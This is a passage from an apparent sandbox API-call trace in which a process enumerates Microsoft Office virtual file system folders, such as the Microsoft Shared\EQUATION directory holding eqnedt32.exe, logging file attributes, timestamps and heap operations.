nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.459] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0233.459] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0233.459] GetProcessHeap () returned 0xc10000 [0233.459] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0233.459] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0 [0233.459] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0233.460] GetProcessHeap () returned 0xc10000 [0233.460] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0233.460] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYSTEM", cAlternateFileName="")) returned 1 [0233.460] GetProcessHeap () returned 0xc10000 [0233.460] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0233.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.471] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.472] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0233.472] GetProcessHeap () returned 0xc10000 [0233.472] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0233.472] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0233.472] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.472] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0233.473] GetProcessHeap () returned 0xc10000 [0233.473] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\MSMAPI\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0233.473] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.473] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0233.473] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0233.473] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0233.474] GetProcessHeap () returned 0xc10000 [0233.474] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.474] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0233.474] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0233.474] GetProcessHeap () returned 0xc10000 [0233.474] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0233.474] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1 [0233.474] GetProcessHeap () returned 0xc10000 [0233.474] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0233.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\ole db\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0233.476] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.476] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x284defd5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44230, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0233.476] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e298, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0233.476] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e298, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0233.476] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0233.476] GetProcessHeap () returned 0xc10000 [0233.476] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0233.476] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0233.477] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0233.477] GetProcessHeap () returned 0xc10000 [0233.477] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0233.478] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYSTEM", cAlternateFileName="")) returned 0 [0233.478] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0233.478] GetProcessHeap () returned 0xc10000 [0233.478] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0233.478] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1 [0233.479] GetProcessHeap () returned 0xc10000 [0233.479] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0233.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0233.479] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.479] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0233.479] GetProcessHeap () returned 0xc10000 [0233.479] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0233.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0233.485] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.485] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0233.485] GetProcessHeap () returned 0xc10000 [0233.485] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0233.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0233.491] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.492] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0233.492] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0233.492] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0233.492] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28505256, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a80, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="eqnedt32.exe", cAlternateFileName="")) returned 1 [0233.492] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28505256, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a80, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="eqnedt32.exe", cAlternateFileName="")) returned 0 [0233.492] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0233.652] GetProcessHeap () returned 0xc10000 [0233.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0233.652] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0233.652] GetProcessHeap () returned 0xc10000 [0233.652] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0233.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0233.655] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.655] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 